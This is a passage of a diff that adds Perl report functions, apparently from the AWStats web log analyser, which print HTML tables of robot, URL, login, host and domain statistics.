"</td>"; + } + if ( $ExtraStatTypes[$extranum] =~ m/B/i ) { + print "<td>" + . ( + $count + ? Format_Bytes( $total_k / $count ) + : " " + ) + . "</td>"; + } + if ( $ExtraStatTypes[$extranum] =~ m/L/i ) { + print "<td> </td>"; + } + print "</tr>\n"; + } + + # Add sum row + if ( $ExtraAddSumRow[$extranum] ) { + print "<tr>"; + print "<td class=\"aws\"><b>$Message[102]</b></td>"; + if ( $ExtraStatTypes[$extranum] =~ m/P/i ) { + print "<td>" . ($total_p) . "</td>"; + } + if ( $ExtraStatTypes[$extranum] =~ m/H/i ) { + print "<td>" . ($total_h) . "</td>"; + } + if ( $ExtraStatTypes[$extranum] =~ m/B/i ) { + print "<td>" . Format_Bytes($total_k) . "</td>"; + } + if ( $ExtraStatTypes[$extranum] =~ m/L/i ) { + print "<td> </td>"; + } + print "</tr>\n"; + } + if ( $ExtraName[$extranum] eq 'Inserção de Dados' ) { + &tab_end("* $Message[170]"); + } else { + &tab_end(); + } + &html_end(1); + } + } +} + +#------------------------------------------------------------------------------ +# Function: Prints the Robot details frame or static page +# Parameters: _ +# Input: _ +# Output: HTML +# Return: - +#------------------------------------------------------------------------------ +sub HTMLShowRobots{ + my $total_p = 0; + my $total_h = 0; + my $total_k = 0; + my $total_r = 0; + my $rest_p = 0; + my $rest_h = 0; + my $rest_k = 0; + my $rest_r = 0; + + print "$Center<a name=\"robots\"> </a><br />\n"; + my $title = ''; + if ( $HTMLOutput{'allrobots'} ) { $title .= "$Message[53]"; } + if ( $HTMLOutput{'lastrobots'} ) { $title .= "$Message[9]"; } + &tab_head( "$title", 19, 0, 'robots' ); + print "<tr bgcolor=\"#$color_TableBGRowTitle\"><th>" + . Format_Number(( scalar keys %_robot_h )) + . " $Message[51]</th>"; + if ( $ShowRobotsStats =~ /H/i ) { + print + "<th bgcolor=\"#$color_h\" width=\"80\">$Message[57]</th>"; + } + if ( $ShowRobotsStats =~ /B/i ) { + print +"<th class=\"datasize\" bgcolor=\"#$color_k\" width=\"80\">$Message[75]</th>"; + } + if ( $ShowRobotsStats =~ /L/i ) { + print "<th width=\"120\">$Message[9]</th>"; + } + print "</tr>\n"; + $total_p = $total_h = $total_k = $total_r = 0; + my $count = 0; + if ( $HTMLOutput{'allrobots'} ) { + &BuildKeyList( $MaxRowsInHTMLOutput, $MinHit{'Robot'}, + \%_robot_h, \%_robot_h ); + } + if ( $HTMLOutput{'lastrobots'} ) { + &BuildKeyList( $MaxRowsInHTMLOutput, $MinHit{'Robot'}, + \%_robot_h, \%_robot_l ); + } + foreach my $key (@keylist) { + print "<tr><td class=\"aws\">" + . ( $RobotsHashIDLib{$key} ? $RobotsHashIDLib{$key} : $key ) + . "</td>"; + if ( $ShowRobotsStats =~ /H/i ) { + print "<td>" + . Format_Number(( $_robot_h{$key} - $_robot_r{$key} )) + . ( $_robot_r{$key} ? "+$_robot_r{$key}" : "" ) . "</td>"; + } + if ( $ShowRobotsStats =~ /B/i ) { + print "<td>" . Format_Bytes( $_robot_k{$key} ) . "</td>"; + } + if ( $ShowRobotsStats =~ /L/i ) { + print "<td>" + . ( + $_robot_l{$key} + ? Format_Date( $_robot_l{$key}, 1 ) + : '-' + ) + . "</td>"; + } + print "</tr>\n"; + + #$total_p += $_robot_p{$key}||0; + $total_h += $_robot_h{$key}; + $total_k += $_robot_k{$key} || 0; + $total_r += $_robot_r{$key} || 0; + $count++; + } + + # For bots we need to count Totals + my $TotalPagesRobots = + 0; #foreach (values %_robot_p) { $TotalPagesRobots+=$_; } + my $TotalHitsRobots = 0; + foreach ( values %_robot_h ) { $TotalHitsRobots += $_; } + my $TotalBytesRobots = 0; + foreach ( values %_robot_k ) { $TotalBytesRobots += $_; } + my $TotalRRobots = 0; + foreach ( values %_robot_r ) { $TotalRRobots += $_; } + $rest_p = 0; #$rest_p=$TotalPagesRobots-$total_p; + $rest_h = $TotalHitsRobots - $total_h; + $rest_k = $TotalBytesRobots - $total_k; + $rest_r = $TotalRRobots - $total_r; + + if ($Debug) { + debug( +"Total real / shown : $TotalPagesRobots / $total_p - $TotalHitsRobots / $total_h - $TotalBytesRobots / $total_k", + 2 + ); + } + if ( $rest_p > 0 || $rest_h > 0 || $rest_k > 0 || $rest_r > 0 ) + { # All other robots + print +"<tr><td class=\"aws\"><span style=\"color: #$color_other\">$Message[2]</span></td>"; + if ( $ShowRobotsStats =~ /H/i ) { print "<td>".Format_Number($rest_h)."</td>"; } + if ( $ShowRobotsStats =~ /B/i ) { + print "<td>" . ( Format_Bytes($rest_k) ) . "</td>"; + } + if ( $ShowRobotsStats =~ /L/i ) { print "<td> </td>"; } + print "</tr>\n"; + } + &tab_end( + "* $Message[156]" . ( $TotalRRobots ? " $Message[157]" : "" ) ); + &html_end(1); +} + +#------------------------------------------------------------------------------ +# Function: Prints the URL, Entry or Exit details frame or static page +# Parameters: _ +# Input: _ +# Output: HTML +# Return: - +#------------------------------------------------------------------------------ +sub HTMLShowURLDetail{ + my $total_p = 0; + my $total_e = 0; + my $total_k = 0; + my $total_x = 0; + # Call to plugins' function ShowPagesFilter + foreach + my $pluginname ( keys %{ $PluginsLoaded{'ShowPagesFilter'} } ) + { + my $function = "ShowPagesFilter_$pluginname"; + &$function(); + } + print "$Center<a name=\"urls\"> </a><br />\n"; + + # Show filter form + &HTMLShowFormFilter( "urlfilter", $FilterIn{'url'}, $FilterEx{'url'} ); + + # Show URL list + my $title = ''; + my $cpt = 0; + if ( $HTMLOutput{'urldetail'} ) { + $title = $Message[19]; + $cpt = ( scalar keys %_url_p ); + } + if ( $HTMLOutput{'urlentry'} ) { + $title = $Message[104]; + $cpt = ( scalar keys %_url_e ); + } + if ( $HTMLOutput{'urlexit'} ) { + $title = $Message[116]; + $cpt = ( scalar keys %_url_x ); + } + &tab_head( "$title", 19, 0, 'urls' ); + print "<tr bgcolor=\"#$color_TableBGRowTitle\"><th>"; + if ( $FilterIn{'url'} || $FilterEx{'url'} ) { + if ( $FilterIn{'url'} ) { + print "$Message[79] <b>$FilterIn{'url'}</b>"; + } + if ( $FilterIn{'url'} && $FilterEx{'url'} ) { print " - "; } + if ( $FilterEx{'url'} ) { + print "Exclude $Message[79] <b>$FilterEx{'url'}</b>"; + } + if ( $FilterIn{'url'} || $FilterEx{'url'} ) { print ": "; } + print Format_Number($cpt)." $Message[28]"; + if ( $MonthRequired ne 'all' ) { + if ( $HTMLOutput{'urldetail'} ) { + print +"<br />$Message[102]: ".Format_Number($TotalDifferentPages)." $Message[28]"; + } + } + } + else { print "$Message[102]: ".Format_Number($cpt)." $Message[28]"; } + print "</th>"; + if ( $ShowPagesStats =~ /P/i ) { + print + "<th bgcolor=\"#$color_p\" width=\"80\">$Message[29]</th>"; + } + if ( $ShowPagesStats =~ /B/i ) { + print +"<th class=\"datasize\" bgcolor=\"#$color_k\" width=\"80\">$Message[106]</th>"; + } + if ( $ShowPagesStats =~ /E/i ) { + print + "<th bgcolor=\"#$color_e\" width=\"80\">$Message[104]</th>"; + } + if ( $ShowPagesStats =~ /X/i ) { + print + "<th bgcolor=\"#$color_x\" width=\"80\">$Message[116]</th>"; + } + + # Call to plugins' function ShowPagesAddField + foreach + my $pluginname ( keys %{ $PluginsLoaded{'ShowPagesAddField'} } ) + { + + # my $function="ShowPagesAddField_$pluginname('title')"; + # eval("$function"); + my $function = "ShowPagesAddField_$pluginname"; + &$function('title'); + } + print "<th> </th></tr>\n"; + $total_p = $total_k = $total_e = $total_x = 0; + my $count = 0; + if ( $HTMLOutput{'urlentry'} ) { + &BuildKeyList( $MaxRowsInHTMLOutput, $MinHit{'File'}, \%_url_e, + \%_url_e ); + } + elsif ( $HTMLOutput{'urlexit'} ) { + &BuildKeyList( $MaxRowsInHTMLOutput, $MinHit{'File'}, \%_url_x, + \%_url_x ); + } + else { + &BuildKeyList( $MaxRowsInHTMLOutput, $MinHit{'File'}, \%_url_p, + \%_url_p ); + } + my $max_p = 1; + my $max_k = 1; + foreach my $key (@keylist) { + if ( $_url_p{$key} > $max_p ) { $max_p = $_url_p{$key}; } + if ( $_url_k{$key} / ( $_url_p{$key} || 1 ) > $max_k ) { + $max_k = $_url_k{$key} / ( $_url_p{$key} || 1 ); + } + } + foreach my $key (@keylist) { + print "<tr><td class=\"aws\">"; + &HTMLShowURLInfo($key); + print "</td>"; + my $bredde_p = 0; + my $bredde_e = 0; + my $bredde_x = 0; + my $bredde_k = 0; + if ( $max_p > 0 ) { + $bredde_p = + int( $BarWidth * ( $_url_p{$key} || 0 ) / $max_p ) + 1; + } + if ( ( $bredde_p == 1 ) && $_url_p{$key} ) { $bredde_p = 2; } + if ( $max_p > 0 ) { + $bredde_e = + int( $BarWidth * ( $_url_e{$key} || 0 ) / $max_p ) + 1; + } + if ( ( $bredde_e == 1 ) && $_url_e{$key} ) { $bredde_e = 2; } + if ( $max_p > 0 ) { + $bredde_x = + int( $BarWidth * ( $_url_x{$key} || 0 ) / $max_p ) + 1; + } + if ( ( $bredde_x == 1 ) && $_url_x{$key} ) { $bredde_x = 2; } + if ( $max_k > 0 ) { + $bredde_k = + int( $BarWidth * + ( ( $_url_k{$key} || 0 ) / ( $_url_p{$key} || 1 ) ) / + $max_k ) + 1; + } + if ( ( $bredde_k == 1 ) && $_url_k{$key} ) { $bredde_k = 2; } + if ( $ShowPagesStats =~ /P/i ) { + print "<td>".Format_Number($_url_p{$key})."</td>"; + } + if ( $ShowPagesStats =~ /B/i ) { + print "<td>" + . ( + $_url_k{$key} + ? Format_Bytes( + $_url_k{$key} / ( $_url_p{$key} || 1 ) + ) + : " " + ) + . "</td>"; + } + if ( $ShowPagesStats =~ /E/i ) { + print "<td>" + . ( $_url_e{$key} ? Format_Number($_url_e{$key}) : " " ) . "</td>"; + } + if ( $ShowPagesStats =~ /X/i ) { + print "<td>" + . ( $_url_x{$key} ? Format_Number($_url_x{$key}) : " " ) . "</td>"; + } + + # Call to plugins' function ShowPagesAddField + foreach my $pluginname ( + keys %{ $PluginsLoaded{'ShowPagesAddField'} } ) + { + + # my $function="ShowPagesAddField_$pluginname('$key')"; + # eval("$function"); + my $function = "ShowPagesAddField_$pluginname"; + &$function($key); + } + print "<td class=\"aws\">"; + + # alt and title are not provided to reduce page size + if ( $ShowPagesStats =~ /P/i ) { + print +"<img src=\"$DirIcons\/other\/$BarPng{'hp'}\" width=\"$bredde_p\" height=\"4\" /><br />"; + } + if ( $ShowPagesStats =~ /B/i ) { + print +"<img src=\"$DirIcons\/other\/$BarPng{'hk'}\" width=\"$bredde_k\" height=\"4\" /><br />"; + } + if ( $ShowPagesStats =~ /E/i ) { + print +"<img src=\"$DirIcons\/other\/$BarPng{'he'}\" width=\"$bredde_e\" height=\"4\" /><br />"; + } + if ( $ShowPagesStats =~ /X/i ) { + print +"<img src=\"$DirIcons\/other\/$BarPng{'hx'}\" width=\"$bredde_x\" height=\"4\" />"; + } + print "</td></tr>\n"; + $total_p += $_url_p{$key}; + $total_e += $_url_e{$key}; + $total_x += $_url_x{$key}; + $total_k += $_url_k{$key}; + $count++; + } + if ($Debug) { + debug( +"Total real / shown : $TotalPages / $total_p - $TotalEntries / $total_e - $TotalExits / $total_x - $TotalBytesPages / $total_k", + 2 + ); + } + my $rest_p = $TotalPages - $total_p; + my $rest_k = $TotalBytesPages - $total_k; + my $rest_e = $TotalEntries - $total_e; + my $rest_x = $TotalExits - $total_x; + if ( $rest_p > 0 || $rest_e > 0 || $rest_k > 0 ) { + print +"<tr><td class=\"aws\"><span style=\"color: #$color_other\">$Message[2]</span></td>"; + if ( $ShowPagesStats =~ /P/i ) { + print "<td>" . ( $rest_p ? Format_Number($rest_p) : " " ) . "</td>"; + } + if ( $ShowPagesStats =~ /B/i ) { + print "<td>" + . ( + $rest_k + ? Format_Bytes( $rest_k / ( $rest_p || 1 ) ) + : " " + ) + . "</td>"; + } + if ( $ShowPagesStats =~ /E/i ) { + print "<td>" . ( $rest_e ? Format_Number($rest_e) : " " ) . "</td>"; + } + if ( $ShowPagesStats =~ /X/i ) { + print "<td>" . ( $rest_x ? Format_Number($rest_x) : " " ) . "</td>"; + } + + # Call to plugins' function ShowPagesAddField + foreach my $pluginname ( keys %{ $PluginsLoaded{'ShowPagesAddField'} } ) + { + my $function = "ShowPagesAddField_$pluginname"; + &$function(''); + } + print "<td> </td></tr>\n"; + } + &tab_end(); + &html_end(1); +} + +#------------------------------------------------------------------------------ +# Function: Prints the Login details frame or static page +# Parameters: _ +# Input: _ +# Output: HTML +# Return: - +#------------------------------------------------------------------------------ +sub HTMLShowLogins{ + my $total_p = 0; + my $total_h = 0; + my $total_k = 0; + my $rest_p = 0; + my $rest_h = 0; + my $rest_k = 0; + print "$Center<a name=\"logins\"> </a><br />\n"; + my $title = ''; + if ( $HTMLOutput{'alllogins'} ) { $title .= "$Message[94]"; } + if ( $HTMLOutput{'lastlogins'} ) { $title .= "$Message[9]"; } + &tab_head( "$title", 19, 0, 'logins' ); + print "<tr bgcolor=\"#$color_TableBGRowTitle\"><th>$Message[94] : " + . Format_Number(( scalar keys %_login_h )) . "</th>"; + &HTMLShowUserInfo('__title__'); + if ( $ShowAuthenticatedUsers =~ /P/i ) { + print + "<th bgcolor=\"#$color_p\" width=\"80\">$Message[56]</th>"; + } + if ( $ShowAuthenticatedUsers =~ /H/i ) { + print + "<th bgcolor=\"#$color_h\" width=\"80\">$Message[57]</th>"; + } + if ( $ShowAuthenticatedUsers =~ /B/i ) { + print +"<th class=\"datasize\" bgcolor=\"#$color_k\" width=\"80\">$Message[75]</th>"; + } + if ( $ShowAuthenticatedUsers =~ /L/i ) { + print "<th width=\"120\">$Message[9]</th>"; + } + print "</tr>\n"; + $total_p = $total_h = $total_k = 0; + my $count = 0; + if ( $HTMLOutput{'alllogins'} ) { + &BuildKeyList( $MaxRowsInHTMLOutput, $MinHit{'Host'}, + \%_login_h, \%_login_p ); + } + if ( $HTMLOutput{'lastlogins'} ) { + &BuildKeyList( $MaxRowsInHTMLOutput, $MinHit{'Host'}, + \%_login_h, \%_login_l ); + } + foreach my $key (@keylist) { + print "<tr><td class=\"aws\">$key</td>"; + &HTMLShowUserInfo($key); + if ( $ShowAuthenticatedUsers =~ /P/i ) { + print "<td>" + . ( $_login_p{$key} ? Format_Number($_login_p{$key}) : " " ) + . "</td>"; + } + if ( $ShowAuthenticatedUsers =~ /H/i ) { + print "<td>".Format_Number($_login_h{$key})."</td>"; + } + if ( $ShowAuthenticatedUsers =~ /B/i ) { + print "<td>" . Format_Bytes( $_login_k{$key} ) . "</td>"; + } + if ( $ShowAuthenticatedUsers =~ /L/i ) { + print "<td>" + . ( + $_login_l{$key} + ? Format_Date( $_login_l{$key}, 1 ) + : '-' + ) + . "</td>"; + } + print "</tr>\n"; + $total_p += $_login_p{$key} || 0; + $total_h += $_login_h{$key}; + $total_k += $_login_k{$key} || 0; + $count++; + } + if ($Debug) { + debug( +"Total real / shown : $TotalPages / $total_p - $TotalHits / $total_h - $TotalBytes / $total_h", + 2 + ); + } + $rest_p = $TotalPages - $total_p; + $rest_h = $TotalHits - $total_h; + $rest_k = $TotalBytes - $total_k; + if ( $rest_p > 0 || $rest_h > 0 || $rest_k > 0 ) + { # All other logins and/or anonymous + print +"<tr><td class=\"aws\"><span style=\"color: #$color_other\">$Message[125]</span></td>"; + &HTMLShowUserInfo(''); + if ( $ShowAuthenticatedUsers =~ /P/i ) { + print "<td>" . ( $rest_p ? Format_Number($rest_p) : " " ) . "</td>"; + } + if ( $ShowAuthenticatedUsers =~ /H/i ) { + print "<td>".Format_Number($rest_h)."</td>"; + } + if ( $ShowAuthenticatedUsers =~ /B/i ) { + print "<td>" . Format_Bytes($rest_k) . "</td>"; + } + if ( $ShowAuthenticatedUsers =~ /L/i ) { + print "<td> </td>"; + } + print "</tr>\n"; + } + &tab_end(); + &html_end(1); +} + +#------------------------------------------------------------------------------ +# Function: Prints the Unknown IP/Host details frame or static page +# Parameters: _ +# Input: _ +# Output: HTML +# Return: - +#------------------------------------------------------------------------------ +sub HTMLShowHostsUnknown{ + my $total_p = 0; + my $total_h = 0; + my $total_k = 0; + my $rest_p = 0; + my $rest_h = 0; + my $rest_k = 0; + print "$Center<a name=\"unknownip\"> </a><br />\n"; + &tab_head( "$Message[45]", 19, 0, 'unknownwip' ); + print "<tr bgcolor=\"#$color_TableBGRowTitle\"><th>" + . Format_Number(( scalar keys %_host_h )) + . " $Message[1]</th>"; + &HTMLShowHostInfo('__title__'); + if ( $ShowHostsStats =~ /P/i ) { + print + "<th bgcolor=\"#$color_p\" width=\"80\">$Message[56]</th>"; + } + if ( $ShowHostsStats =~ /H/i ) { + print + "<th bgcolor=\"#$color_h\" width=\"80\">$Message[57]</th>"; + } + if ( $ShowHostsStats =~ /B/i ) { + print +"<th class=\"datasize\" bgcolor=\"#$color_k\" width=\"80\">$Message[75]</th>"; + } + if ( $ShowHostsStats =~ /L/i ) { + print "<th width=\"120\">$Message[9]</th>"; + } + print "</tr>\n"; + $total_p = $total_h = $total_k = 0; + my $count = 0; + &BuildKeyList( $MaxRowsInHTMLOutput, $MinHit{'Host'}, \%_host_h, + \%_host_p ); + foreach my $key (@keylist) { + my $host = CleanXSS($key); + print "<tr><td class=\"aws\">$host</td>"; + &HTMLShowHostInfo($key); + if ( $ShowHostsStats =~ /P/i ) { + print "<td>" + . ( $_host_p{$key} ? Format_Number($_host_p{$key}) : " " ) + . "</td>"; + } + if ( $ShowHostsStats =~ /H/i ) { + print "<td>".Format_Number($_host_h{$key})."</td>"; + } + if ( $ShowHostsStats =~ /B/i ) { + print "<td>" . Format_Bytes( $_host_k{$key} ) . "</td>"; + } + if ( $ShowHostsStats =~ /L/i ) { + print "<td>" + . ( + $_host_l{$key} + ? Format_Date( $_host_l{$key}, 1 ) + : '-' + ) + . "</td>"; + } + print "</tr>\n"; + $total_p += $_host_p{$key}; + $total_h += $_host_h{$key}; + $total_k += $_host_k{$key} || 0; + $count++; + } + if ($Debug) { + debug( +"Total real / shown : $TotalPages / $total_p - $TotalHits / $total_h - $TotalBytes / $total_h", + 2 + ); + } + $rest_p = $TotalPages - $total_p; + $rest_h = $TotalHits - $total_h; + $rest_k = $TotalBytes - $total_k; + if ( $rest_p > 0 || $rest_h > 0 || $rest_k > 0 ) + { # All other visitors (known or not) + print +"<tr><td class=\"aws\"><span style=\"color: #$color_other\">$Message[82]</span></td>"; + &HTMLShowHostInfo(''); + if ( $ShowHostsStats =~ /P/i ) { + print "<td>" . ( $rest_p ? Format_Number($rest_p) : " " ) . "</td>"; + } + if ( $ShowHostsStats =~ /H/i ) { print "<td>".Format_Number($rest_h)."</td>"; } + if ( $ShowHostsStats =~ /B/i ) { + print "<td>" . Format_Bytes($rest_k) . "</td>"; + } + if ( $ShowHostsStats =~ /L/i ) { print "<td> </td>"; } + print "</tr>\n"; + } + &tab_end(); + &html_end(1); +} + +#------------------------------------------------------------------------------ +# Function: Prints the Host details frame or static page +# Parameters: _ +# Input: _ +# Output: HTML +# Return: - +#------------------------------------------------------------------------------ +sub HTMLShowHosts{ + my $total_p = 0; + my $total_h = 0; + my $total_k = 0; + my $rest_p = 0; + my $rest_h = 0; + my $rest_k = 0; + print "$Center<a name=\"hosts\"> </a><br />\n"; + + # Show filter form + &HTMLShowFormFilter( "hostfilter", $FilterIn{'host'}, + $FilterEx{'host'} ); + + # Show hosts list + my $title = ''; + my $cpt = 0; + if ( $HTMLOutput{'allhosts'} ) { + $title .= "$Message[81]"; + $cpt = ( scalar keys %_host_h ); + } + if ( $HTMLOutput{'lasthosts'} ) { + $title .= "$Message[9]"; + $cpt = ( scalar keys %_host_h ); + } + &tab_head( "$title", 19, 0, 'hosts' ); + print "<tr bgcolor=\"#$color_TableBGRowTitle\"><th>"; + if ( $FilterIn{'host'} || $FilterEx{'host'} ) { # With filter + if ( $FilterIn{'host'} ) { + print "$Message[79] '<b>$FilterIn{'host'}</b>'"; + } + if ( $FilterIn{'host'} && $FilterEx{'host'} ) { print " - "; } + if ( $FilterEx{'host'} ) { + print " Exlude $Message[79] '<b>$FilterEx{'host'}</b>'"; + } + if ( $FilterIn{'host'} || $FilterEx{'host'} ) { print ": "; } + print "$cpt $Message[81]"; + if ( $MonthRequired ne 'all' ) { + if ( $HTMLOutput{'allhosts'} || $HTMLOutput{'lasthosts'} ) { + print +"<br />$Message[102]: ".Format_Number($TotalHostsKnown)." $Message[82], ".Format_Number($TotalHostsUnknown)." $Message[1] - ".Format_Number($TotalUnique)." $Message[11]"; + } + } + } + else { # Without filter + if ( $MonthRequired ne 'all' ) { + print +"$Message[102] : ".Format_Number($TotalHostsKnown)." $Message[82], ".Format_Number($TotalHostsUnknown)." $Message[1] - ".Format_Number($TotalUnique)." $Message[11]"; + } + else { print "$Message[102] : " . Format_Number(( scalar keys %_host_h )); } + } + print "</th>"; + &HTMLShowHostInfo('__title__'); + if ( $ShowHostsStats =~ /P/i ) { + print + "<th bgcolor=\"#$color_p\" width=\"80\">$Message[56]</th>"; + } + if ( $ShowHostsStats =~ /H/i ) { + print + "<th bgcolor=\"#$color_h\" width=\"80\">$Message[57]</th>"; + } + if ( $ShowHostsStats =~ /B/i ) { + print +"<th class=\"datasize\" bgcolor=\"#$color_k\" width=\"80\">$Message[75]</th>"; + } + if ( $ShowHostsStats =~ /L/i ) { + print "<th width=\"120\">$Message[9]</th>"; + } + print "</tr>\n"; + $total_p = $total_h = $total_k = 0; + my $count = 0; + if ( $HTMLOutput{'allhosts'} ) { + &BuildKeyList( $MaxRowsInHTMLOutput, $MinHit{'Host'}, \%_host_h, + \%_host_p ); + } + if ( $HTMLOutput{'lasthosts'} ) { + &BuildKeyList( $MaxRowsInHTMLOutput, $MinHit{'Host'}, \%_host_h, + \%_host_l ); + } + foreach my $key (@keylist) { + my $host = CleanXSS($key); + print "<tr><td class=\"aws\">" + . ( $_robot_l{$key} ? '<b>' : '' ) . "$host" + . ( $_robot_l{$key} ? '</b>' : '' ) . "</td>"; + &HTMLShowHostInfo($key); + if ( $ShowHostsStats =~ /P/i ) { + print "<td>" + . ( $_host_p{$key} ? Format_Number($_host_p{$key}) : " " ) + . "</td>"; + } + if ( $ShowHostsStats =~ /H/i ) { + print "<td>".Format_Number($_host_h{$key})."</td>"; + } + if ( $ShowHostsStats =~ /B/i ) { + print "<td>" . Format_Bytes( $_host_k{$key} ) . "</td>"; + } + if ( $ShowHostsStats =~ /L/i ) { + print "<td>" + . ( + $_host_l{$key} + ? Format_Date( $_host_l{$key}, 1 ) + : '-' + ) + . "</td>"; + } + print "</tr>\n"; + $total_p += $_host_p{$key}; + $total_h += $_host_h{$key}; + $total_k += $_host_k{$key} || 0; + $count++; + } + if ($Debug) { + debug( +"Total real / shown : $TotalPages / $total_p - $TotalHits / $total_h - $TotalBytes / $total_h", + 2 + ); + } + $rest_p = $TotalPages - $total_p; + $rest_h = $TotalHits - $total_h; + $rest_k = $TotalBytes - $total_k; + if ( $rest_p > 0 || $rest_h > 0 || $rest_k > 0 ) + { # All other visitors (known or not) + print +"<tr><td class=\"aws\"><span style=\"color: #$color_other\">$Message[2]</span></td>"; + &HTMLShowHostInfo(''); + if ( $ShowHostsStats =~ /P/i ) { + print "<td>" . ( $rest_p ? Format_Number($rest_p) : " " ) . "</td>"; + } + if ( $ShowHostsStats =~ /H/i ) { print "<td>".Format_Number($rest_h)."</td>"; } + if ( $ShowHostsStats =~ /B/i ) { + print "<td>" . Format_Bytes($rest_k) . "</td>"; + } + if ( $ShowHostsStats =~ /L/i ) { print "<td> </td>"; } + print "</tr>\n"; + } + &tab_end(); + &html_end(1); +} + +#------------------------------------------------------------------------------ +# Function: Prints the Domains details frame or static page +# Parameters: _ +# Input: _ +# Output: HTML +# Return: - +#------------------------------------------------------------------------------ +sub HTMLShowDomains{ + my $total_p = 0; + my $total_h = 0; + my $total_k = 0; + my $total_v = 0; + my $total_u = 0; + my $rest_p = 0; + my $rest_h = 0; + my $rest_k = 0; + my $rest_v = 0; + my $rest_u = 0; + print "$Center<a name=\"domains\"> </a><br />\n"; + + # Show domains list + my $title = ''; + my $cpt = 0; + if ( $HTMLOutput{'alldomains'} ) { + $title .= "$Message[25]"; + $cpt = ( scalar keys %_domener_h ); + } + &tab_head( "$title", 19, 0, 'domains' ); + print +"<tr bgcolor=\"#$color_TableBGRowTitle\"><th width=\"$WIDTHCOLICON\"> </th><th colspan=\"2\">$Message[17]</th>"; + if ( $ShowDomainsStats =~ /U/i ) { + print + "<th bgcolor=\"#$color_u\" width=\"80\">$Message[11]</th>"; + } + if ( $ShowDomainsStats =~ /V/i ) { + print + "<th bgcolor=\"#$color_v\" width=\"80\">$Message[10]</th>"; + } + if ( $ShowDomainsStats =~ /P/i ) { + print + "<th bgcolor=\"#$color_p\" width=\"80\">$Message[56]</th>"; + } + if ( $ShowDomainsStats =~ /H/i ) { + print + "<th bgcolor=\"#$color_h\" width=\"80\">$Message[57]</th>"; + } + if ( $ShowDomainsStats =~ /B/i ) { + print +"<th class=\"datasize\" bgcolor=\"#$color_k\" width=\"80\">$Message[75]</th>"; + } + print "<th> </th>"; + print "</tr>\n"; + $total_u = $total_v = $total_p = $total_h = $total_k = 0; + my $max_h = 1; + foreach ( values %_domener_h ) { + if ( $_ > $max_h ) { $max_h = $_; } + } + my $max_k = 1; + foreach ( values %_domener_k ) { + if ( $_ > $max_k ) { $max_k = $_; } + } + my $count = 0; + &BuildKeyList( $MaxRowsInHTMLOutput, 1, \%_domener_h, + \%_domener_p ); + foreach my $key (@keylist) { + my ( $_domener_u, $_domener_v ); + my $bredde_p = 0; + my $bredde_h = 0; + my $bredde_k = 0; + if ( $max_h > 0 ) { + $bredde_p = + int( $BarWidth * $_domener_p{$key} / $max_h ) + 1; + } # use max_h to enable to compare pages with hits + if ( $_domener_p{$key} && $bredde_p == 1 ) { $bredde_p = 2; } + if ( $max_h > 0 ) { + $bredde_h = + int( $BarWidth * $_domener_h{$key} / $max_h ) + 1; + } + if ( $_domener_h{$key} && $bredde_h == 1 ) { $bredde_h = 2; } + if ( $max_k > 0 ) { + $bredde_k = + int( $BarWidth * ( $_domener_k{$key} || 0 ) / $max_k ) + + 1; + } + if ( $_domener_k{$key} && $bredde_k == 1 ) { $bredde_k = 2; } + my $newkey = lc($key); + if ( $newkey eq 'ip' || !$DomainsHashIDLib{$newkey} ) { + print +"<tr><td width=\"$WIDTHCOLICON\"><img src=\"$DirIcons\/flags\/ip.png\" height=\"14\"" + . AltTitle("$Message[0]") + . " /></td><td class=\"aws\">$Message[0]</td><td>$newkey</td>"; + } + else { + print +"<tr><td width=\"$WIDTHCOLICON\"><img src=\"$DirIcons\/flags\/$newkey.png\" height=\"14\"" + . AltTitle("$newkey") + . " /></td><td class=\"aws\">$DomainsHashIDLib{$newkey}</td><td>$newkey</td>"; + } + ## to add unique visitors and number of visits, by Josep Ruano @ CAPSiDE + if ( $ShowDomainsStats =~ /U/i ) { + $_domener_u = ( + $_domener_p{$key} + ? $_domener_p{$key} / $TotalPages + : 0 + ); + $_domener_u += ( $_domener_h{$key} / $TotalHits ); + $_domener_u = + sprintf( "%.0f", ( $_domener_u * $TotalUnique ) / 2 ); + print "<td>".Format_Number($_domener_u)." (" + . sprintf( "%.1f%", 100 * $_domener_u / $TotalUnique ) + . ")</td>"; + } + if ( $ShowDomainsStats =~ /V/i ) { + $_domener_v = ( + $_domener_p{$key} + ? $_domener_p{$key} / $TotalPages + : 0 + ); + $_domener_v += ( $_domener_h{$key} / $TotalHits ); + $_domener_v = + sprintf( "%.0f", ( $_domener_v * $TotalVisits ) / 2 ); + print "<td>".Format_Number($_domener_v)." (" + . sprintf( "%.1f%", 100 * $_domener_v / $TotalVisits ) + . ")</td>"; + } + if ( $ShowDomainsStats =~ /P/i ) { + print "<td>".Format_Number($_domener_p{$key})."</td>"; + } + if ( $ShowDomainsStats =~ /H/i ) { + print "<td>".Format_Number($_domener_h{$key})."</td>"; + } + if ( $ShowDomainsStats =~ /B/i ) { + print "<td>" . Format_Bytes( $_domener_k{$key} ) . "</td>"; + } + print "<td class=\"aws\">"; + if ( $ShowDomainsStats =~ /P/i ) { + print +"<img src=\"$DirIcons\/other\/$BarPng{'hp'}\" width=\"$bredde_p\" height=\"5\"" + . AltTitle( "$Message[56]: " . int( $_domener_p{$key} ) ) + . " /><br />\n"; + } + if ( $ShowDomainsStats =~ /H/i ) { + print +"<img src=\"$DirIcons\/other\/$BarPng{'hh'}\" width=\"$bredde_h\" height=\"5\"" + . AltTitle( "$Message[57]: " . int( $_domener_h{$key} ) ) + . " /><br />\n"; + } + if ( $ShowDomainsStats =~ /B/i ) { + print +"<img src=\"$DirIcons\/other\/$BarPng{'hk'}\" width=\"$bredde_k\" height=\"5\"" + . AltTitle( + "$Message[75]: " . Format_Bytes( $_domener_k{$key} ) ) + . " />"; + } + print "</td>"; + print "</tr>\n"; + $total_u += $_domener_u; + $total_v += $_domener_v; + $total_p += $_domener_p{$key}; + $total_h += $_domener_h{$key}; + $total_k += $_domener_k{$key} || 0; + $count++; + } + $rest_u = $TotalUnique - $total_u; + $rest_v = $TotalVisits - $total_v; + $rest_p = $TotalPages - $total_p; + $rest_h = $TotalHits - $total_h; + $rest_k = $TotalBytes - $total_k; + if ( $rest_u > 0 + || $rest_v > 0 + || $rest_p > 0 + || $rest_h > 0 + || $rest_k > 0 ) + { # All other domains (known or not) + print +"<tr><td width=\"$WIDTHCOLICON\"> </td><td colspan=\"2\" class=\"aws\"><span style=\"color: #$color_other\">$Message[2]</span></td>"; + if ( $ShowDomainsStats =~ /U/i ) { print "<td>$rest_u</td>"; } + if ( $ShowDomainsStats =~ /V/i ) { print "<td>$rest_v</td>"; } + if ( $ShowDomainsStats =~ /P/i ) { print 